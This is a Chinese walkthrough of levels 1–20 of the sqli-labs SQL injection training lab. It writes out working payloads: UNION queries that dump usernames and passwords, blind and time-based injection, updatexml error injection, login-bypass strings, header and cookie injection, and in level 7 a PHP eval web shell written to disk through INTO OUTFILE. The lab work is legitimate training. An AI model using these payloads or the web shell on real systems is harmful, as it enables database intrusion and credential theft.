勿忘初心做自己 发表于 2024-12-28 01:37:06

具体sqli-labs(1-20)通关讲解

实验:sqli-labs



[*] sqli-labs第一关
判定是否存在sql注入
https://i-blog.csdnimg.cn/blog_migrate/02d6ff31ded033ba823b287801c56c5c.png
输入数值不同,返回的值也不同
https://i-blog.csdnimg.cn/blog_migrate/1f858b914065bd944fa3174c2e731218.png
判定sql语句是否是拼接,且是字符型还是数字型
https://i-blog.csdnimg.cn/blog_migrate/73eed170d00dc12a9d6cf84779a2c757.png
https://i-blog.csdnimg.cn/blog_migrate/061c2784f59c429fae1e5342992f07e1.png
可以根据结果指定是字符型且存在sql注入毛病。
联合注入

第一步:首先知道表格有几列,如果报错就是超过列数,如果表现正常就是没有超出列数。
?id=1'order by 3 --+
https://i-blog.csdnimg.cn/blog_migrate/012964dbeb0b3e4f8cca1b5b1a464050.png
https://i-blog.csdnimg.cn/blog_migrate/2de2ee78bcd3ea7a9035fcaaf1ee9ddc.png
第二步:爆出表现位,就是看看表格里面那一列是在页面表现的。可以看到是第二列和第三列里面的数据是表现在页面的。
?id=-1'union select 1,2,3--+
https://i-blog.csdnimg.cn/blog_migrate/22188bad8fc641754c048e177a4463f3.png
第三步:获取当前数据名和版本号。
?id=-1'union select 1,database(),version()--+
https://i-blog.csdnimg.cn/blog_migrate/b65abca7718a70287ffae59ec0501115.png
第四步: 爆表
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
https://i-blog.csdnimg.cn/blog_migrate/34781eff666113cc87e46ee3b701102f.png
第五步:爆字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
https://i-blog.csdnimg.cn/blog_migrate/e1217bd933db80b861a93eb0a15cb784.png
第六步:通过上述操纵可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
https://i-blog.csdnimg.cn/blog_migrate/007ae2074682d7cdfa29511a7ff6d1e4.png


[*] sqli-labs第二关
和第一关是一样进行判定,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。
https://i-blog.csdnimg.cn/blog_migrate/4e109963e11ae5089121b9f814f8aa6b.png
加注释还是提示报错,证明是数字型
https://i-blog.csdnimg.cn/blog_migrate/a4aeedacf15f0e8b3ec4b44ba0041114.png
1、判定表有几列,使用 ORDER BY 子句进行一个排序

测试到第 4 列无回显,说明表中一共有 3 列
?id=1') ORDER BY 4--+
https://i-blog.csdnimg.cn/blog_migrate/d6c56a5aa4ebe8e2b4883a312a7c31e4.png
2、判定数据表现点 (id肯定要改为0或负数),使用 UNION 进行组合查询

?id=-1') union select 1,2,3--+
https://i-blog.csdnimg.cn/blog_migrate/3d8d72d53b654a3acaa10507038a9798.png
(1)爆数据库(版本)名,database() 函数可以回显当前使用的数据库,我们将对它进行查询

?id=-1') union select 1,database(),version()--+
https://i-blog.csdnimg.cn/blog_migrate/6130e37d7fce74e2873d1138eb9e4991.png

(2)爆表名,使用 group_concat() 函数归并查询结果

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

https://i-blog.csdnimg.cn/blog_migrate/ce754e6bf8ce43a9995857ec79845c27.png
(3)爆 users 表的字段

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

https://i-blog.csdnimg.cn/blog_migrate/d5062711556408a42ac43e5e301434e7.png
(4)爆用户名、密码,内容
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

https://i-blog.csdnimg.cn/blog_migrate/90f04e51b2a0a888e25638f4a972f3ff.png


[*] sqli-labs第三关
当我们在输入?id=1'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
https://i-blog.csdnimg.cn/blog_migrate/6a0f5a51efeb896df4e58f32ce985a52.png
https://i-blog.csdnimg.cn/blog_migrate/0ce9debdc9218bd0898955a6029b35e1.png
1、判定表有几列,使用 ORDER BY 子句进行一个排序

测试到第 4 列无回显,说明表中一共有 3 列
?id=1') ORDER BY 4--+
https://i-blog.csdnimg.cn/blog_migrate/b59e2ca1eb9f479cd8c334fddf0fc0e1.png
2、判定数据表现点 (id肯定要改为0或负数),使用 UNION 进行组合查询

?id=-1') union select 1,2,3--+
https://i-blog.csdnimg.cn/blog_migrate/de3085ade5b3a727f2200803a9c7c468.png
(1)爆数据库(版本)名,database() 函数可以回显当前使用的数据库,我们将对它进行查询

?id=-1') union select 1,database(),version()--+
https://i-blog.csdnimg.cn/blog_migrate/0052f4be1917119875c09a2ea74cf6e1.png

(2)爆表名,使用 group_concat() 函数归并查询结果

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
https://i-blog.csdnimg.cn/blog_migrate/976cd746dc9683118f31ddc366f34d85.png
(3)爆 users 表的字段

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

https://i-blog.csdnimg.cn/blog_migrate/3119a879edabf14d091e7257525bfc27.png
(4)爆用户名、密码,内容
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

https://i-blog.csdnimg.cn/blog_migrate/5a8b72d524b275de0fc68b10f4a4515a.png


[*] sqli-labs第四关
可以发现这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明白知道要闭合什么符号,比如这关闭合是"),这关输入id=1'是不会报错,字段自己是int范例
https://i-blog.csdnimg.cn/blog_migrate/6b2edeb7c834abf7390fc5541f137ce5.png

#找列数
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 3 --+
http://127.0.0.1/sqli-labs-master/Less-4/?id=1") order by 4 --+
#确定哪个字段有回显
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,3 --+
#确定当前数据库
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,database() --+
#爆出当前数据库内的所有表名
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆出当前数据库user表的所有列名
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+
#爆出当前数据库user表所有username和password
http://127.0.0.1/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(username),group_concat(password) from users --+
https://i-blog.csdnimg.cn/blog_migrate/bfe3b2da86aad83cf87fa0cc73c54753.png



[*] sqli-labs第五关
能够知道本关的查询结果不回显
https://i-blog.csdnimg.cn/blog_migrate/eeb54686127179533f9014bb5120d60c.png
输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1'发现语法报错还是存在的,并且从报错可以判定出本关的闭合是单引号
https://i-blog.csdnimg.cn/blog_migrate/ae245bb10844f2a30197321c706c9311.png
发现明显延迟,说明猜测正确。接下来的思绪是通过延迟,依次爆破数据库长度,数据库名,表名,列名,以及字段。
https://i-blog.csdnimg.cn/blog_migrate/9b3f5624a4017e350f4441cf26e4a160.png
获取database
https://i-blog.csdnimg.cn/blog_migrate/b09ea9287f7f585736b3c64a4189fc80.png
爆表名
https://i-blog.csdnimg.cn/blog_migrate/5776f5efb4ce04130f710ccc23326fb1.png
爆列名
https://i-blog.csdnimg.cn/blog_migrate/0138c29ce443e7fffd835bb0fabdb5f0.png
 爆数据
https://i-blog.csdnimg.cn/blog_migrate/c56dda0025e3deeb719cb9b36e0f3491.png


[*] sqli-labs第六关
手工注入
 只要把上一关'换成"即可,其他都一样
获取database
https://i-blog.csdnimg.cn/blog_migrate/a6a5d819891a82b95606503e6299365e.png
爆表名
https://i-blog.csdnimg.cn/blog_migrate/3200b01aa1065adf8b45dbecb261f5be.png
爆列名
https://i-blog.csdnimg.cn/blog_migrate/641732d786c828710ab0f0b7855072d6.png
爆数据
https://i-blog.csdnimg.cn/blog_migrate/53e6291e63694af603859d9f2bd71c65.png



[*] sqli-labs第七关
闭合直接构造?id=1'就闭合成功,后面看到页面只返回对和错,所以这里要用布尔盲注
https://i-blog.csdnimg.cn/blog_migrate/8e3a766c23d4a28d4413f5df1ce1e941.png
手工注入
判定数据库名的长度,等于8的时候正常,等于9报错,说明长度为8
https://i-blog.csdnimg.cn/blog_migrate/9ce25c51fb63973888fd6025ed063380.png
https://i-blog.csdnimg.cn/blog_migrate/a4527f13ff83813566f09d523edd9585.png
然后爆database第一个字母
https://i-blog.csdnimg.cn/blog_migrate/53d58e259b580597c8303962d8b61c41.png
https://i-blog.csdnimg.cn/blog_migrate/606ca4d6381983baa2c69e4cac4afc78.png
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,@@basedir,@@datadir
    basedir()指定了安装MYSQL的安装路径
datadir()指定了安装MYSQL的数据文件路径
https://i-blog.csdnimg.cn/blog_migrate/4e8d489060a82c0e654aab9f00ba52ba.png
http://127.0.0.1/sqli-labs/Less-7/?id=-1')) union select 1,2,'<?php eval(@$_POST["admin"]);?>' into outfile"D:\\phpstudy2\\WWW\\sqli-labs-master\\less-7\\hack.php"--+
注意写入的绝对路径要用双反斜杠,否则会写入不成功;
https://i-blog.csdnimg.cn/blog_migrate/6360a9f294132b77277fc894bd166eb5.png








这里表现语法错误,我们不管,用蚁剑连接,成功,如下:
https://i-blog.csdnimg.cn/blog_migrate/49de93ea142bdc59908b93683e94439d.png
https://i-blog.csdnimg.cn/blog_migrate/f9531cc1fef15bb3993dc1809b87e610.png



[*] sqli-labs第八关
判定注入范例#
首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。
https://i-blog.csdnimg.cn/blog_migrate/b1e05ba5fa9a54c9418733092cbfb0c1.png
接下来注入个查不到的参数,网页没有任何反应。说明向这个网页传入参数是用于判定 id 值是否存在,如果存在则返复书息。
https://i-blog.csdnimg.cn/blog_migrate/3ef8b0c5c47d222fb1cc631e395dada9.png
判定是否有 Sql 注入毛病,注入个单引号进行闭合,网页无任何返回。
https://i-blog.csdnimg.cn/blog_migrate/6b51e799e5e66ab9fafcca09b4ee1e0a.png
把后面的内容注释掉,网页返回 “You are in...”。这说明网页存在 Sql 注入毛病,并且是用单引号字符型注入。同时因为 Sql 语句发生错误时也不报错,因此此处是 bool 盲注毛病。
https://i-blog.csdnimg.cn/blog_migrate/599e1da93c6e17f6db12a20e280e3af4.png
获取数据库信息
首先判定表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。返回 “You are in...”,说明表至少有 3 行。
https://i-blog.csdnimg.cn/blog_migrate/e8018c0d37ca6b4d529e08040924b250.png
测试到第 4 列未返回 “You are in...”,说明表中一共有 3 列。
https://i-blog.csdnimg.cn/blog_migrate/cd1690f10edfe42190b0d7ee548a4e7a.png
得出数据库名的长度,网页只会有返回 “You are in...” 和无回显 2 种情况,我们使用 length() 函数结合回显信息判定数据库长度。
https://i-blog.csdnimg.cn/blog_migrate/53844e033c25e83324ea44dc60304ad6.png
经过二分法测试,得出数据库长度为 8。
https://i-blog.csdnimg.cn/blog_migrate/a918fb5715dbbd7ccaedea752c46cde4.png
使用 left() 函数判定数据库名的第一位是否是字符 a。注入之后无回显,说明数据库名第一位不是 a。
https://i-blog.csdnimg.cn/blog_migrate/ce0db8cad4b360d778594b4bac3b0578.png
爆破得出数据库名的第一个字符为 ‘s’。
https://i-blog.csdnimg.cn/blog_migrate/b0b5743f4bbf473a963dc7e869d65d98.png
最终得出数据库名为 “scurity”,使用同样的方法继续爆破表名、字段名及其剩余信息。
https://i-blog.csdnimg.cn/blog_migrate/93f9317d170ecdb6442af0957217662e.png



[*] sqli-labs第九关
判定注入范例#
首先注入正确的参数,网页返回 “You are in...”,尝试注入其他参数还是但是“You are in...”没有其他信息。

https://i-blog.csdnimg.cn/blog_migrate/1e6acbf49678e5760f7cd24d5b223de5.png
https://i-blog.csdnimg.cn/blog_migrate/9badd091afc713cf828062b12abee01a.png
https://i-blog.csdnimg.cn/blog_migrate/dc049e21cb6dd106269f0a74940a8007.png
3 种注入仍然还是返回 “You are in...”,说明此时网页不会回显任何有代价的信息。

转换思绪,MySql 的 sleep() 函数能够起到休眠的作用。为了方便调试这里使用 brup 的重发器,注入如下参数响应时间没有非常。
https://i-blog.csdnimg.cn/blog_migrate/a39eb3adfaac9e63b9e01b280d287067.png
注入参数响应时间明显增长,并且主观上也能感受到延迟。这是明显的基于 时间盲注 的字符型 Sql 注入毛病,我们需要使用 sleep() 函数制造时间差进行注入。
获取数据库信息
此处因为无法回显任何东西,因此 ORDER BY 子句失效。我们使用 IF 语句结合 LENGTH() 函数对数据库名长度进行判定,如果猜测正确则令响应时间长一些。猜测数据库名长度小于 10 时响应时间超过,所以数据库名长度小于 10。
https://i-blog.csdnimg.cn/blog_migrate/ff55514439d8fa0b8782b6e85d9d1840.png
经过二分法测试,得出数据库长度为 8。
https://i-blog.csdnimg.cn/blog_migrate/8c7dcdc012626fd3048336dbf93248b0.png
使用 left() 函数判定数据库名的第一位是否是字符 a,注入之后响应很快说明数据库名第一位不是 a。
https://i-blog.csdnimg.cn/blog_migrate/fb3a4a8b55b8efef366b697d00d1014a.png
使用穷举法进行测试,得出数据库名的第一个字符为 “s”。
https://i-blog.csdnimg.cn/blog_migrate/c5e5c761a504bbe18dfa5d5d7941f524.png
接下来得出数据库名,再使用同样的方法继续爆破表名、字段名及其剩余信息。
https://i-blog.csdnimg.cn/blog_migrate/5a8eb160682f2ce7a6a399bef022d968.png




[*] sqli-labs第十关
首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。
https://i-blog.csdnimg.cn/blog_migrate/2dc6639824617d5358eac30781431ae5.png
以下2种注入都是还是返回 “You are in...”,说明此时网页不会回显任何有代价的信息。
?id=1'--+   ?id=1"--+
https://i-blog.csdnimg.cn/blog_migrate/7c4dce3add5a0fd1e91cd034d1e0a5ed.png
https://i-blog.csdnimg.cn/blog_migrate/980aaca2df2dbaa4b2ec758ba892a721.png
调试这里使用 brup 的重发器,注入以下参数响应时间没有非常。
https://i-blog.csdnimg.cn/blog_migrate/866b96ce9cd9b8c2ee2f6e51b41be7b5.png
使用双引号闭合时,响应时间明显增长,并且主观上也能感受到延迟,这是基于 时间盲注 的字符型 Sql 注入毛病。
https://i-blog.csdnimg.cn/blog_migrate/73b30a1be5dca426e06e4fe782accaf9.png
获取数据库信息
此处因为无法回显任何东西,因此 ORDER BY 子句失效。使用 IF 语句结合 LENGTH() 函数进行诸如,猜测数据库名长度小于 10 时响应时间超过 1 秒。
https://i-blog.csdnimg.cn/blog_migrate/1e9920e854f7c3d1267b2520e2328818.png
经过二分法测试,得出数据库长度为 8。
https://i-blog.csdnimg.cn/blog_migrate/2d857e093334abb132f1bc5943833cfa.png
获取数据库名时,使用 LEFT() 函数进行穷举法的效率较低,使用 substr() 函数结合 ASCII() 函数进行判定可以使用二分法快速缩小范围。
https://i-blog.csdnimg.cn/blog_migrate/d39709aeb41f5ebede41f024f6678533.png
使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。
https://i-blog.csdnimg.cn/blog_migrate/6b43b48657cd6e09ba73003e99b1de75.png
使用雷同方法依次得出剩下的字符 ASCII 码值,连接在一起就是数据库名。
https://i-blog.csdnimg.cn/blog_migrate/144c6f210f1255d7b224fb5291703012.png




[*] sqli-labs第十一关
打开 Less-11页面,输入admin  admin

https://i-blog.csdnimg.cn/blog_migrate/7534bc1bcc3966a59e166be97a56c9f7.png
回到Burp Suite 上开启拦截,页面点击submit
https://i-blog.csdnimg.cn/blog_migrate/8a0ab4bba6a588161d96f3efe39f87c8.png
将拦截的数据发送到重放器,在密码处添加\转义符,用来转义passwd 字段的闭合符号
https://i-blog.csdnimg.cn/blog_migrate/a8adb0b9c9abf07a7ff3d2f70a9729b3.png
可以看到我们转义了一个单引号,我们通过单引号字符注入来构造一个万能密码
uname=admin&passwd=admin'or 1=1 #&submit=Submit
https://i-blog.csdnimg.cn/blog_migrate/eba64e8d8bdf30621da00a542e84b3fb.png
我们可以看出,GET 方式和post 方式 的区别,GET方式 可以明显的 从 URL 中进行注入,POST可以在数据包中进行修改对应的字段来进行 SQL 注入
获取数据库信息
判定表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。
https://i-blog.csdnimg.cn/blog_migrate/76003ad3f73bff82be5a6a3ff3952945.png
对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。
https://i-blog.csdnimg.cn/blog_migrate/57e38150705cc12ef4942e34a7065d6c.png
爆数据库名,首先注入错误的用户名和密码,使其找不到数据。使用 UNION 进行联合查询,查询成功把数据库名接到网页回显的地方。
https://i-blog.csdnimg.cn/blog_migrate/72ee492eb8ad4d0e669766e9050a67a1.png
爆表名,使用联合查询在 “information_schema.tables” 中查询表名,表名来自 “security” 数据库。
https://i-blog.csdnimg.cn/blog_migrate/7c206d4bb22ee4451ac87c7db21da9f1.png
爆字段名,使用联合查询在 “information_schema.columns” 中查询表名,字段名来自 “security” 数据库的 “users” 表。
https://i-blog.csdnimg.cn/blog_migrate/4538aaf20d1cc0ebee6e0fed35726add.png





接下来爆出 users 表中的用户名和密码,构造出 payload 如下。
https://i-blog.csdnimg.cn/blog_migrate/58a6e41bba7da544cc8abc16368b2afb.png


[*] sqli-labs第十二关
打开 Less-12页面,输入admin  admin

https://i-blog.csdnimg.cn/blog_migrate/53bb194de55a24742c33223003dea8de.png
回到Burp Suite 上把抓到的数据发送到重放器
https://i-blog.csdnimg.cn/blog_migrate/77fec5bd11d027c4c2f914483c14b101.png
和Less-11操纵类似,也是在passwd处补上\转义符,点击发送检察转义passwd 字段的闭合符号
https://i-blog.csdnimg.cn/blog_migrate/630a8e9fa07a795098a5a7cf924b7597.png
可以看到我们转义了一个双引号(另有括号),我们通过双引号和括号注入来构造一个万能密码
uname=admin&passwd=admin")or 1=1 #submit=Submit
https://i-blog.csdnimg.cn/blog_migrate/d816ea161f8a92e237ec8f93cbe076be.png
爆数据信息同Less-11


[*] sqli-labs第十三关
打开 Less-13页面,输入admin  123456

https://i-blog.csdnimg.cn/blog_migrate/ec36a65719e18dc74b383f777345e085.png
回到Burp Suite 上把抓到的数据发送到重放器
https://i-blog.csdnimg.cn/blog_migrate/45d3a23b915a17660d0c5740ae297c28.png
点击发送发现报错
https://i-blog.csdnimg.cn/blog_migrate/261126c91fd075762d06edb6c897f6ba.png
在passwd处补上\转义符,点击发送检察转义passwd 字段的闭合符号
https://i-blog.csdnimg.cn/blog_migrate/97f86ef6597bb2a9738f275792b2be9b.png
可以看到我们转义了一个单引号(另有括号),我们通过单引号和括号注入来构造一个万能密码
uname=admin&passwd=123456’)or 1=1 #submit=Submit
https://i-blog.csdnimg.cn/blog_migrate/6419a8cfddbd1554703ef138d32f7576.png
获取数据库信息
判定表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。
https://i-blog.csdnimg.cn/blog_migrate/cc2230e7cc934fb28887b4fb23ec3cb2.png
对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。
https://i-blog.csdnimg.cn/blog_migrate/2d11de2f8560884560d2c25061cb634d.png
得出数据库名的长度,网页只会有登录成功或登录失败 2 种情况,使用 length() 函数结合回显信息判定数据库长度。
https://i-blog.csdnimg.cn/blog_migrate/f568813dee2f323ec6c2a00777324eb5.png
经过二分法测试,得出数据库长度为 8。
https://i-blog.csdnimg.cn/blog_migrate/2262e3bf511ae52878b69d729cfffa0f.png
获取数据库名,使用 left(string,num) 函数返回字符串 string 最左边的 num 个字符。首先使用判定数据库名的第一位是否是字符 a。注入之后返回登录失败,说明数据库名第一位不是 a。
https://i-blog.csdnimg.cn/blog_migrate/071c56cda1e124b4192dbcb72a6ce002.png
通过爆破得出数据库名,使用同样的方法继续爆破表名、字段名及其剩余信息。
https://i-blog.csdnimg.cn/blog_migrate/084a12739971152556b13728309cf637.png


[*] sqli-labs第十四关
打开 Less-14页面,输入admin  123456

https://i-blog.csdnimg.cn/blog_migrate/efa50dd65106782576d159bc6dae2647.png
回到Burp Suite 上把抓到的数据发送到重放器
https://i-blog.csdnimg.cn/blog_migrate/9c4dd4a36b29f1457110141030ef37fc.png
在passwd处补上\转义符,点击发送检察转义passwd 字段的闭合符号
https://i-blog.csdnimg.cn/blog_migrate/657d3c0f57ab0c4202cb95bbf82e1ea3.png
可以看到我们转义了一个双引号,我们通过双引号注入来构造一个万能密码
uname=admin&passwd=123456”or 1=1 #submit=Submit
https://i-blog.csdnimg.cn/blog_migrate/b17d1a0d5e24e3861c8028a4c6fb7439.png
获取数据库信息
判定表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。
https://i-blog.csdnimg.cn/blog_migrate/1ebf9c40e13222e8762cc1f4eefb3928.png
对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。
https://i-blog.csdnimg.cn/blog_migrate/c5d3585faf50e10810db9d907fc24503.png
得出数据库名的长度,网页只会有登录成功或登录失败 2 种情况,使用 length() 函数结合回显信息得出数据库长度为 8。
https://i-blog.csdnimg.cn/blog_migrate/5f2a3ba8706c3a18d89ef621ef567074.png
获取数据库名时可以使用 left() 函数,这里使用 substr() 函数截取数据库名的每个字符,然后使用 ASCII() 函数判定这个字符的 ASCII 码值。
https://i-blog.csdnimg.cn/blog_migrate/e8c6181f6a017d9ca4dc9601fe7e6d92.png
使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。
https://i-blog.csdnimg.cn/blog_migrate/a6ec6cdabcb9f5460c8a2756c2e8ea5b.png
通过雷同的方式进行测试,最后得出数据库名为 “security”。使用同样的方法继续爆出表名、字段名及其剩余信息。
https://i-blog.csdnimg.cn/blog_migrate/a7fc68baff590ec0169a64b984fc31be.png




[*] sqli-labs第十五关
打开 Less-15页面,输入admin  123456

https://i-blog.csdnimg.cn/blog_migrate/31d9e76ef6d3ea6089597c04bd5fee30.png
回到Burp Suite 上把抓到的数据发送到重放器
https://i-blog.csdnimg.cn/blog_migrate/f99571b0542b99e01af220a9f33ac2a1.png
在passwd处补上\转义符,点击发送检察转义passwd 字段的闭合符号,发现没有回显
https://i-blog.csdnimg.cn/blog_migrate/cce826f0197c1d3eb39e55a54df5acbe.png
修改字段进行SQL 注入根据返回的图片来验证是否满意条件
https://i-blog.csdnimg.cn/blog_migrate/267e209746a89a228ee6017da476798a.png
成功返回 flag.jpg 失败返回 slap.jpg
https://i-blog.csdnimg.cn/blog_migrate/32de3b2701ed64232be4cce9f17fb603.png
爆数据信息同Less-14


[*] sqli-labs第十六关
打开 Less-16页面,输入admin  123456

https://i-blog.csdnimg.cn/blog_migrate/be3e081e3c0ca99af491a3a3c797fe87.png
回到Burp Suite 上把抓到的数据发送到重放器
https://i-blog.csdnimg.cn/blog_migrate/3a983029659b9e32256653f3af51b8b3.png
在passwd处补上\转义符,点击发送检察转义passwd 字段的闭合符号,发现没有回显同Less-15
https://i-blog.csdnimg.cn/blog_migrate/062f5318a34bc21bea7ad68e6b18bcd0.png
uname=admin")and (length(database())=8)--+&passwd=admin&submit=Submit,登录成功
https://i-blog.csdnimg.cn/blog_migrate/444810ea3ec2a0279e68ca8ceb438562.png
爆数据信息同Less-14
sqli-labs第十七关

打开 Less-17页面,输入admin  123456

https://i-blog.csdnimg.cn/blog_migrate/45c88aee5cf1c63fde6007f84599b712.png
回到Burp Suite 上把抓到的数据发送到重放器
https://i-blog.csdnimg.cn/blog_migrate/9bcf22591a33d1dfc09c940f81a14d48.png
在passwd处补上\转义符,点击发送检察转义passwd 字段的闭合符号
https://i-blog.csdnimg.cn/blog_migrate/1048acf4196ff8909ed2e7d9f1eaa56f.png
使用单引号闭合构造恒真条件
https://i-blog.csdnimg.cn/blog_migrate/260930f8686d887e10cf3e6baef5c981.png
用updatexml()函数,看可否把当前的数据库名爆出来,实行后得到当前地点的数据库为security。
为了更好地明白 updatexml() 报错注入,我们使用 updatexml() 函数获取下当前使用的 MySql 版本。
https://i-blog.csdnimg.cn/blog_migrate/5d39fba21c2eb763997fd15c2dffa6bf.png
获取数据库信息
爆库名,使用 updatexml() 报错回显数据库名。
https://i-blog.csdnimg.cn/blog_migrate/e3e43e3c1a2e1ce443297154e7421a5a.png
爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。
https://i-blog.csdnimg.cn/blog_migrate/2b061eae1bfb42f087f74767a1120be1.png
爆字段名,继续使用 updatexml() 报错注入。
https://i-blog.csdnimg.cn/blog_migrate/95cce5904f97631eb4d58b29f73527b4.png
获取目的信息
使用报错注入回显用户名和密码,发现网页回显 “You can't specify target table 'users' for update in FROM clause”。
https://i-blog.csdnimg.cn/blog_migrate/515e2e07283787d1cb83b23926237592.png
这里我们无法直接从 users 表拿数据,我们可以先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。构造出的 payload 如下,思绪就是使用一个查询从另一个查询中取出数据,以此绕过表的限制。
https://i-blog.csdnimg.cn/blog_migrate/1acaf0562659e163680f1b79f50c3d05.png
通过修改 LIMIT 子句的返回行数,就能取出其他行的查询结果。

https://i-blog.csdnimg.cn/blog_migrate/1153cfd85031d4222581dd2e7345ecde.png

sqli-labs第十八关


[*]HTTP User-Agent 注入
打开Less-18截获数据包进行修改,输入用户名和密码截取(注意需要输入admin admin 正确的)
修改 User-Agent 字段 添加一个 ’ 单引号
https://i-blog.csdnimg.cn/blog_migrate/99cc5f0cc90565b5169dcca64e658944.png
正常情况是不会有回显信息的,但是源码中为了方便学习,将SQL语句打印了出来

查询数据库版本信息
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 ' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
https://i-blog.csdnimg.cn/blog_migrate/5e4f34a16ad80c1152aff67cdee73dc5.png


[*] sqli-labs第十九关
使用单引号测试是否存在注入
https://i-blog.csdnimg.cn/blog_migrate/b272f4a9c53f7c1ac15a84e60acb2ee1.png

[*]

[*]报错注入

Referer: http://192.168.37.136/sqli-labs/Less-19/'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1
https://i-blog.csdnimg.cn/blog_migrate/b693772e241d016ad3c1c9af71775c6d.png
1.2 盲注测试
Referer: http://192.168.37.136/sqli-labs/Less-19/'or(length(database()))=9 or if(1=1,sleep(3),null) or '1'='1
https://i-blog.csdnimg.cn/blog_migrate/d77c40efd3ab9162ae49b2e7df6350ac.png


[*] sqli-labs第二十关
Less-20
浏览器访问:http://192.168.37.136/sqli-labs/Less-20/ 输入 username ,password 输入 admin 并提交
https://i-blog.csdnimg.cn/blog_migrate/52499b2b1816e9cfeb9c1333a4e9d1cb.png
在 Cookie:uname=admin 使用 ‘or’1’=1='1 判定注入点,注意这里少一个单引号,为了不影响SQL语句正常实行
Cookie: uname=admin'or'1'='1
https://i-blog.csdnimg.cn/blog_migrate/5aaf9a8aa4374c7b6c7c014925a8cacb.png
使用 updatexml 报错注入获取数据库名称
暴表:
Cookie: uname=admin' union select 1,2,database() -- #
https://i-blog.csdnimg.cn/blog_migrate/573d52ea78e8165257efb0cbeed3cf67.png
暴字段:
Cookie: uname=admin' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' -- #
https://i-blog.csdnimg.cn/blog_migrate/bfcd49602698d716db465f2f09f70fc7.png
暴数据:
Cookie: uname=admin' union select 1,2,group_concat(username,0x7e,password)from security.users -- #
https://i-blog.csdnimg.cn/blog_migrate/638ed19c069d60910b5d5779cea34faf.png
Cookie: uname=admin' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users# -- #
https://i-blog.csdnimg.cn/blog_migrate/774224fbc219b7b10f2f15aec1f5c440.png



免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 具体sqli-labs(1-20)通关讲解